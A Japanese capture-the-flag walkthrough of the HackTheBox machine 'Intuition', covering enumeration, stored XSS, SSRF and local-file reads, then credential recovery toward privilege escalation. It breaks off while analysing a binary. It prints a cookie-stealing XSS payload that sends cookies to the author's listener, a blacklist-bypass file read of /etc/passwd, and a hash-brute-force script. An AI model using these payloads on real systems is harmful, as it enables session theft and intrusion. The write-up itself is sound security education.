今回はHackTheBoxのHardマシン「Intuition」のWriteUpです。
マシンの名前である「Intuition」は翻訳すると「直感」となります。直感に従って攻略することが大切なのでしょうか。。どのようなマシンなのか楽しみです。
グラフはさすがHardマシンといった感じですね。
Hardなので、少し苦戦するかもですが攻略目指して頑張ります!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Intuition
列挙
それでは攻略を開始していきます。
まずは、nmap
から実行していきましょう。
+[~/intuition]
(σ▰>∇<)σ<>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.15
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SSHとHTTPがオープンしています。出力からドメインがhttp://comprezzor.htb/
であることがわかっているので、hosts
ファイルに記述し、ブラウザでアクセスしてみましょう。
ファイルを圧縮できるサイトのようです。
一番上にファイルを選択できるボタンが用意されているので、想定されていない拡張子もアップロードできるか試してみます。
拡張子の制限は正常に働いていそうです。
LZMAアルゴリズムを使用して圧縮を行うみたいなので、その脆弱性がないか調べてみましたが、特に情報もありませんでした。
サイト内に他に怪しい箇所がないか調べましたが特に見つからなかったので、サブドメインを探索することにしました。ffuf
を実行します。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://comprezzor.htb -H "HOST: FUZZ.comprezzor.htb" -fc 301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://comprezzor.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.comprezzor.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________
auth [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 201ms]
dashboard [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 190ms]
report [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 207ms]
:: Progress: [151265/151265] :: Job [1/1] :: 217 req/sec :: Duration: [0:11:51] :: Errors: 0 ::
3つもサブドメインが確認できました。ステータスコードが200番だったのはreport
のみなので、report
からブラウザでアクセスしてみましょう。
バグを報告するサイトのようです。Report a Bug
を押下することでレポートを記入することができるみたいなので、押下してみましょう。
ログインページが表示されました。ドメインもauth
に変更されています。
認証情報はありませんが、Register
というリンクがあるので押下します。
ユーザを登録できそうですね。ユーザ名とパスワードを入力し、登録しましょう。
登録できました。登録した情報でログインします。
レポートの元のページに返ってきましたが、ログインには成功していそうです。
再度Report a Bug
のボタンを押下しましょう。
レポートを提出するページが表示されました。
とりあえず適当に入力してみましょう。
レポートは提出できたようですが、そのレポートを確認するページなどは特に見つかりません。コマンドインジェクションやSQLインジェクションなどが発火しないかも試しましたが、特に発火している様子はありませんでした。
XSS (Adam's Cookie)
ここでかなりの時間を使ってしまいました。。。が、試している中で、提出に成功した後のメッセージに目を向けました。
メッセージには日本語訳で「私たちのチームがすぐに確認する」と書いてあります。もしもサイト自体が1つのアプリケーションとして機能しており、サポートチームがログインしてレポートを確認するような場合、レポートの表示はHTMLで行われることが予想されます。
そして、レポートがHTMLとして表示され、表示する画面が仮にXSSに脆弱である場合、サポートチームのCookieを取得できるかもしれません。ダメ元ではありますが、試してみましょう。まずはローカルでWEBサーバを立ち上げます。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
次にCookieを取得できるペイロードを入力しましょう。
入力したコードは以下の通りです。
<script>var i=new Image(); i.src="http://10.10.14.5:8000/?cookie="+btoa(document.cookie);</script>
入力できたら提出し、CookieがWEBサーバへ送信されないか確認してみましょう。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.15 - - [] "GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1" 200 -
なんと!Cookieが送信されてきました!
ダメ元でしたが、やっと次に進むことができそうです。このCookieを使用し、dashboard
のサブドメインへアクセスしましょう。ちなみに私のペイロードでCookieを取得した場合はBase64でEncodeされているので、Decodeする必要があります。
Cookieを使用することで、adam
ユーザとしてアクセスできました!
ユーザの識別
アクセスしたユーザの名前がadam
であるとわかったのは、Cookieとして使用されていたJWTをBase64でDecodeすることで、username:adam
と設定されていたためです。さらにユーザにはロールも付与されているようで、adam
ユーザには、role:webdev
と設定されていました。もう一段階上のロール(例えばadmin
のような)がありそうですね。
見るところこのサイトは提出されたレポートを見ることができるサイトのようです。
また、それぞれのレポートには優先度を決めるPriority
が設定されています。おそらく「1」が優先度高く「0」は優先度低めのようです。はじめはレポートに書いてある脆弱性を悪用するのかと思いましたが、内容を見ても悪用できるようなものはありませんでした。
XSS (admin's Cookie)
続いてのステップを考えるとき、ロールにもう1段階上のものがあると予想していたので、なんとかしてもう1つ上のロールを取得する方法を考えました。しかしロールが1段階上のユーザの存在など見つかりません。では、どうすればよいのか。。
少し考えた結果、私は再び優先度の存在の意味を考えました。優先度が高いものと低いものがあるということは優先度に応じて対応が変わるということです。現にレポートの詳細ページから、Adam
ユーザの権限で優先度を変更できます。
ここからは全く根拠がないですが、優先度が高いものの場合、ロールが高いユーザがレポートを確認しにくると仮定した場合、ペイロードが入力されたリポートの優先度を高くすればロールが高いユーザのCookieを取得できるかもしれません。
試してみましょう。再度ペイロードを入力したレポートを提出し、ダッシュボードで確認してみましょう。
一番下にレポートが追加されています。そのレポートの優先度を「1」へ変更しましょう。
優先度を「1」へ変更出来たら、ロールが高いユーザからCookieが送信されていないか確認してみましょう。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.15 - - [] "GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1" 200 -
...
10.10.11.15 - - [] "GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ== HTTP/1.1" 200 -
異なるCookieが送信されてきました!これをDecodeし、Cookieとしてセットした上でdashboard
へアクセスしてみましょう。
admin
ユーザとしてアクセスできました!ちなみにロールもadmin
でした。
CVE-2023–24329
ページ内を確認すると、Create a backup
とCreate PDF Report
が追加されたことがわかりました。試しにバックアップを押下してみると...
バックアップに成功しました!というメッセージが表示されるだけで、特にそれ以外のアクションは起きていなさそうです。続いてPDFの方を押下してみます。
入力したURLのPDFを作成するようです。試しにKali側のIPアドレスを入力してみます。
上の写真のようなPDFが作成されました。PDFの作成の攻撃としてよくあるのは作成にしようするツールのバージョンに脆弱性があるようなパターンです。ダウンロードしたPDFに対して、exiftool
を実行してみましょう。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ exiftool report_83346.pdf
ExifTool Version Number : 12.76
File Name : report_83346.pdf
Directory : .
File Size : 8.0 kB
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Title :
Creator : wkhtmltopdf 0.12.6
Producer : Qt 5.15.2
Page Count : 1
wkhtmltopdf
のバージョンが0.12.6
であることがわかりました。このバージョンに脆弱性がないか調べてみたところ、以下のサイトを発見しました。
どうやらSSRFに対して脆弱のようです。が、今回アクセス制御があるほかのポートがあるわけでもないですし、SSRFを悪用するには情報がなさすぎます。
もう少しPDF作成機能について調べたいので、nc
で待ち受けを作成しそこへアクセスをさせてみることにします。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ nc -lnvp 2121
listening on [any] 2121 ...
この状態で、PDF作成に2121番ポートを指定します。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.15] 52552
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.14.5:2121
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close
User-Agent
を見ると、Python-urllib
の3.11
が使用されていることがわかりました。このバージョンにも脆弱性がないかを確認してみると、以下の記事を発見しました。
Python-urllib
の3.11
には、ブラックリストのバイパスに対して脆弱のようです。脆弱性を悪用することで、ローカルファイルを読み取ることが可能です。
概要 : CVE-2023–24329
この脆弱性は、バージョンが3.11
の時、urlparse
による解析において問題が生じます。URLの先頭に空白を挿入することでホスト名とスキームの解析に問題が生じ、最終的にブラックリストを回避することに繋がります。
それではこの脆弱性を悪用しましょう。まずは/etc/passwd
の読み取りを狙います。file:///etc/passwd
の先頭に空白を挿入し、PDFを作成しましょう。
/etc/passwd
の読み取りに成功しました!
それではこの脆弱性を使用し、情報を列挙していきます。まずは、今回のサーバで実行されているコードの内容を読み取りたいので段階的に調査を進めていきます。まず実行されているコードを確認しましょう。/proc/self/cmdline
に対して読み取りを行います。
/app/code/app.py
が実行されていることがわかりました。
では続いてこちらのPythonファイルに対して読み取りを行います。
Pythonファイルの内容が出力され、secret_key
などを確認することができました。その中でファイルをインポートしている部分に注目してください。インポート元をblueprints.index.index
やblueprints.auth.auth
のように示しています。これは各ファイルが以下のように展開されていることを示しています。
/app/code/blueprints/index/index.py
/app/code/blueprints/report/report.py
/app/code/blueprints/auth/auth.py
/app/code/blueprints/dashboard/dashboard.py
それぞれを確認し、脆弱性がないか確認します。dashboard.py
を見てみると...
脆弱性ではないですが、FTPの認証情報が書かれていました!
CVE-2022-35583
FTPの認証情報を見つけたのはいいですが、nmap
の実行結果でFTPがオープンしていないことがわかっているので直接アクセスできません。どうすればよいか一瞬悩みましたが、先ほどPDFに対してexiftool
を実行し、wkhtmltopdf
の0.12.6
がSSRFに対し、脆弱であったことを思い出しました。CVE-2023–24329
と組み合わせることで、FTPへのアクセスできます!
それでは、FTPアクセスのリンクとしてftp://ftp_admin:u3jai8y71s2@ftp.local
を指定したうえで、先頭に空白を挿入しPDFを作成しましょう。作成したPDFを確認すると...
FTPへアクセスできました!3つのファイルがあるようですが、welcome_note.pdf
はwelcome_note.txt
をPDF化したもののようなので実質2つのファイルです。
どちらも確認してみましょう。まずはprivate-8297.key
です。指定するリンクはftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
です。
SSH秘密鍵が取得できました!接続してみたい気持ちを抑え、welcome_note.txt
も確認してみます。
SSH秘密鍵のパスフレーズが記載されていました!きちんとすべてのファイルを確認するのが大切ですね。
あとはSSH秘密鍵が誰のものなのかわかれば接続できそうです。これは容易に判別可能です。SSH秘密鍵を保存したファイルに対して、ssh-keygen
を使用しユーザを判別しましょう。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh-keygen -p -f id_rsa
Enter old passphrase:
Key has comment 'dev_acc@local'
Enter new passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved with the new passphrase.
dev_acc
ユーザのものであることがわかりました!
dev_acc としてのシェル
それでは、SSH接続を行いましょう。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh -i id_rsa dev_acc@10.10.11.15
Enter passphrase for key 'id_rsa': Y27SH19HDIWD
dev_acc@intuition:~$ whoami
dev_acc
侵入に成功しました!
dev_acc@intuition:~$ ls -l
total 4
-rw-r----- 1 root dev_acc 33 May 2 10:10 user.txt
ユーザフラグも取得できました!
横移動
それでは内部探索へ移ります。とりあえずsudo -l
を実行してみます。
dev_acc@intuition:~$ sudo -l
[sudo] password for dev_acc:
sudo: a password is required
パスワードが求められたので、sudo
は実行できないようです。SUIDも気になるファイルはなかったので、続いてWEBルートを確認することにしました。
dev_acc@intuition:/var/www/app$ ls -l
total 20
-rw-r--r-- 1 root root 780 Apr 9 10:37 app.py
drwxr-xr-x 6 root root 4096 Apr 10 08:21 blueprints
drwxr-xr-x 2 root root 4096 Apr 10 08:21 __pycache__
drwxr-xr-x 3 root root 4096 Apr 10 08:21 selenium
drwxr-xr-x 6 root root 4096 Apr 10 08:21 templates
見慣れたファイルやディレクトリがあります。
Hash Crack
selenium
ディレクトリも気になりますが、とりあえずまずはblueprints
ディレクトリ内に他に情報がないかを調べていきます。auth
配下を見てみると...
dev_acc@intuition:/var/www/app/blueprints/auth$ ls -la
total 40
drwxr-xr-x 3 root root 4096 May 2 17:25 .
drwxr-xr-x 6 root root 4096 Apr 10 08:21 ..
-rw-r--r-- 1 root root 1842 Sep 18 2023 auth.py
-rw-r--r-- 1 root root 3038 Sep 19 2023 auth_utils.py
drwxr-xr-x 2 root root 4096 Apr 10 08:21 __pycache__
-rw-r--r-- 1 root root 16384 May 2 17:25 users.db
-rw-r--r-- 1 root root 171 Sep 18 2023 users.sql
users.db
ファイルを発見しました。sqlite3
コマンドでアクセスしてみましょう。
dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
admin
とadam
のパスワードハッシュを確認しました!
それぞれ保存し、解読できないか試してみましょう。hashcat
を実行します。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ hashcat -m 30120 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-AMD Ryzen 7 7730U with Radeon Graphics, 2915/5894 MB (1024 MB allocatable), 6MCU
...
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
...
adam
のハッシュを解読することに成功しました!
ローカルユーザとしてadam
ユーザが存在していたので、SSH接続やsu
コマンドが実行できないか試しましてみましょう。
> SSH
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh adam@10.10.11.15
adam@10.10.11.15s password:
Permission denied, please try again.
> su
dev_acc@intuition:~$ su adam
Password:
su: Authentication failure
どちらも失敗しました。。
しかし、adam
というディレクトリがありながらも、認証情報が使用できないというのは違和感です。
Auth Key
ほかに認証情報が使用できる箇所がないかを考えたとき、私はFTPが起動していたことを思い出しました。FTPであればアクセス先をディレクトリで変更している可能性は全然あります。試してみましょう。
dev_acc@intuition:~$ ftp adam@127.0.0.1
Connected to 127.0.0.1.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ログインに成功しました!
列挙する前に、ポート転送を行い、Kali側からアクセス可能にします。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh -D 1080 -i id_rsa dev_acc@10.10.11.15
Enter passphrase for key 'id_rsa':
dev_acc@intuition:~$
これで準備は万端です。再度Kali側から接続を行いましょう。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ proxychains ftp adam@127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:21 ... OK
Connected to 127.0.0.1.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Kali側からのアクセスに成功しました。
では、ここからFTP内を列挙していきます。ディレクトリの中を掘っていくと...
ftp> ls
drwxr-xr-x 3 root 1002 4096 Apr 10 08:21 backup
ftp> cd backup
ftp> ls
drwxr-xr-x 2 root 1002 4096 Apr 10 08:21 runner1
ftp> cd runner1
ftp> ls
-rwxr-xr-x 1 root 1002 318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x 1 root 1002 16744 Oct 19 2023 runner1
-rw-r--r-- 1 root 1002 3815 Oct 19 2023 runner1.c
3つのファイルを発見しました!runner1
はバイナリのようですが、runner1.c
が存在しているので、わざわざ逆コンパイルする必要はなさそうです。
すべてのファイルを取得しておきましょう。
ftp> get run-tests.sh
ftp> get runner1
ftp> get runner1.c
ダウンロードができたら、見てみましょう。まずはrun-tests.sh
です。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat run-tests.sh
#!/bin/bash
# List playbooks
./runner1 list
# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"
# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
コードの中にauth code
があり、一部がマスク化されたUHI75GHI****
という文字列があります。次のステップはこのコードを推測することでしょうか。runner1.c
も見てみましょう。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat runner1.c
// Version : 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>
#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
...
} else {
printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
return 0;
}
先ほどauth code
で示されたコードのハッシュが表示されています!
どうやらこれはMD5でハッシュ化されているようです。なので、先ほどのマスク化された部分に総当たりで文字を入れていき、ハッシュ化した値とすでにわかっているハッシュ値を照合し、同じ値になれば元のauth code
を求めることができます。
簡単なコードを書いて、ハッシュ値の照合を行いましょう。使用したコードは以下の通りです。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat calc.py
import itertools
import hashlib
def find_original_string(partial_string, hash_value):
# 英数字の大文字のみの文字列を生成
characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
# 破損部分の長さを計算
length_of_missing_part = partial_string.count('*')
# 全ての可能な文字列の組み合わせを生成
for combo in itertools.product(characters, repeat=length_of_missing_part):
# 破損した部分を置換
attempt = partial_string.replace('*', '{}').format(*combo)
# MD5 ハッシュ値を計算
attempt_hash = hashlib.md5(attempt.encode()).hexdigest()
# ハッシュ値が一致した場合、元の文字列として返す
if attempt_hash == hash_value:
return attempt
# 一致するものがなければ None を返す
return None
# 破損した文字列とハッシュ値
damaged_string = 'UHI75GHI****'
original_hash = '0feda17076d793c2ef2870d7427ad4ed'
# 関数を呼び出して結果を表示
original_string = find_original_string(damaged_string, original_hash)
if original_string:
print('Original string:', original_string)
else:
print('No match found.')
それでは、このスクリプトを実行していきましょう。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 calc.py
Original string: UHI75GHINKOP
auth key
を求めることに成功しました!
ちゃんと使用できるかどうか試してみましょう。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ./runner1 run 1 -a "UHI75GHINKOP"
Failed to open the playbook directory: No such file or directory
auth key
が異なる場合はAuthenticate failed
というエラーが出力されるので、そのエラーではないということは認証に成功していることがわかりました。
lopez's Credential
auth key
は取得できましたが、これだけで横移動や権限昇格につなげるのは難しそうです。もう少し内部を探索し、情報を増やす必要がありそうなので、もう一度戻って調査を開始します。
調査をしていると/opt
ディレクトリに気になるスクリプトを発見しました。
dev_acc@intuition:/opt$ ls -la
total 28
drwxr-xr-x 7 root root 4096 Apr 10 08:21 .
drwxr-xr-x 19 root root 4096 Apr 10 07:40 ..
drwx--x--x 4 root root 4096 Aug 26 2023 containerd
drwxr-xr-x 4 root root 4096 Sep 19 2023 ftp
drwxr-xr-x 3 root root 4096 Apr 10 08:21 google
drwxr-x--- 2 root sys-adm 4096 Apr 10 08:21 playbooks
drwxr-x--- 2 root sys-adm 4096 Apr 10 08:21 runner2
先ほど取得したファイルがrunner1
で、/opt
ディレクトリにあるのがrunner2
です。明らかに関連性があるので、詳しく見てみたいですが権限がroot
とsys-adm
にしかありません。横移動に成功すれば権限が付与されるかもしれないので、ユーザに焦点を当てた列挙に進みます。もう一度/home
ディレクトリを確認しましょう。
dev_acc@intuition:/home$ ls -la
total 20
drwxr-xr-x 5 root root 4096 Apr 25 11:49 .
drwxr-xr-x 19 root root 4096 Apr 10 07:40 ..
drwxr-x--- 2 adam adam 4096 Apr 10 07:37 adam
drwxr-x--- 4 dev_acc dev_acc 4096 Apr 9 18:26 dev_acc
drwxr-x--- 3 lopez lopez 4096 Apr 10 08:21 lopez
まだアクションを起こしていないユーザとしてlopez
ユーザが存在します。このユーザの認証情報を取得したいので、色々列挙していきます。
列挙も様々な方法がありますが、とりあえずgrep
やzgrep
を使用してlopez
に関する情報がないかを調べていきます。zgrep
を実行していると...
dev_acc@intuition:~$ find / -name \*.gz -print0 2>/dev/null | xargs -0 zgrep -i "lopez"
gzip: /snap/core20/2015/usr/share/doc/bash/README.md.bash_completion.gz: No such file or directory
gzip: /snap/core20/2015/usr/share/doc/console-conf/changelog.gz: No such file or directory
...
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
...
/var/log/suricata/eve.json.7.gz
にlopez
に関する情報があり、"command":"PASS"
の部分にパスワードが書かれていました!
lopez としてのシェル
それでは、この情報を使用してSSH接続ができるかどうか試してみましょう。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh lopez@10.10.11.15
lopez@10.10.11.15s password:
lopez@intuition:~$ whoami
lopez
SSH接続に成功しました!横移動成功です!
権限昇格
さすがHardマシン。かなりのボリュームですが、いよいよ終盤です。
ここから権限昇格を目指していきましょう。まずはsudo -l
から実行していきます。
lopez@intuition:~$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User lopez may run the following commands on intuition:
(ALL : ALL) /opt/runner2/runner2
おお!先ほど確認したrunner2
をroot
権限で実行できるようです。
ということは、lopez
ユーザは...
lopez@intuition:~$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)
sys-adm
グループに属しています!
Analysis runner2
では、runner2
の解析を行い、脆弱性を発見していきます。
まずは、scp
でファイル転送を行いましょう。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ scp -i id_rsa lopez@10.10.11.15:/tmp/runner2 ./runner2
lopez@10.10.11.15s password:
runner2 100% 17KB 31.5KB/s 00:00
ファイルをKali側に転送できたら、Ghidra
やIDA
を使用し、ファイルを解析していきます。
解析後、main
関数を見ていきます。
undefined8 main(int param_1,undefined8 *param_2)
{
int iVar1;
FILE *__stream;
long lVar2;
int *piVar3;
int *piVar4;
char *pcVar5;
undefined8 uVar6;
DIR *__dirp;
dirent *pdVar7;
int local_80;
char *local_78;
...
...
fwrite("Authentication key missing or invalid for \'install\' action.\n",1,0x3c,stderr);
json_decref(lVar2);
return 1;
}
fwrite("Invalid \'action\' value.\n",1,0x18,stderr);
}
}
}
LAB_00101db5:
json_decref(lVar2);
return 0;
}
100行ほどあるので、中間をすべて省略しましたが、上記のようなmain
関数が確認できていれば解析できています。それでは上から確認し、脆弱性を探していきましょう。
1番上はそれぞれの変数を定義しています。その下を見てみましょう。
if (param_1 != 2) {
printf("Usage: %s <json_file>\n",*param_2);
return 1;
}
__stream = fopen((char *)param_2[1],"r");
if (__stream == (FILE *)0x0) {
perror("Failed to open the JSON file");
return 1;
}
lVar2 = json_loadf(__stream,2,0);
fclose(__stream);
if (lVar2 == 0) {
fwrite("Error parsing JSON data.\n",1,0x19,stderr);
return 1;
}
引数のチェックを行っています。どうやら引数にはJSONファイルを想定しているようです。与えられたファイルを開くことができなかったり、JSONとして解析できない場合にはエラーを出力するようです。
どのようなJSONファイルが求められるのかは後ほどわかると思うので、調査を続けます。
piVar3 = (int *)json_object_get(lVar2,&DAT_00102148);
if ((piVar3 == (int *)0x0) || (*piVar3 != 0)) {
fwrite("Run key missing or invalid.\n",1,0x1c,stderr);
}
else {
piVar4 = (int *)json_object_get(piVar3,"action");
if ((piVar4 == (int *)0x0) || (*piVar4 != 2)) {
fwrite("Action key missing or invalid.\n",1,0x1f,stderr);
}
上記では、実際にJSONファイルからオブジェクトを取得し、オブジェクトが取得できなかった場合やaction
というオブジェクトが存在しない場合に、エラーを出力しています。
この時点で、action
というオブジェクトが必要であることがわかりました。調査を続けましょう。
else {
pcVar5 = (char *)json_string_value(piVar4);
iVar1 = strcmp(pcVar5,"list");
...
else {
iVar1 = strcmp(pcVar5,"run");
if (iVar1 == 0) {
...
iVar1 = strcmp(pcVar5,"install");
if (iVar1 == 0) {
上記では、action
で指定された要素に対する処理が記述されています。
それぞれ以下のようにまとめます。
action : list
action
でlist
が指定された場合、listPlaybooks()
が呼ばれ、利用可能なPlaybook
の一覧が表示されます。
if (iVar1 == 0) {
listPlaybooks();
}
action : run
action
でrun
が指定された場合、まずはauth key
の認証が行われます。ここで使用されるauth key
とは先ほどスクリプトによって求めたものです。
piVar3 = (int *)json_object_get(piVar3,&DAT_00102158);
piVar4 = (int *)json_object_get(lVar2,"auth_code");
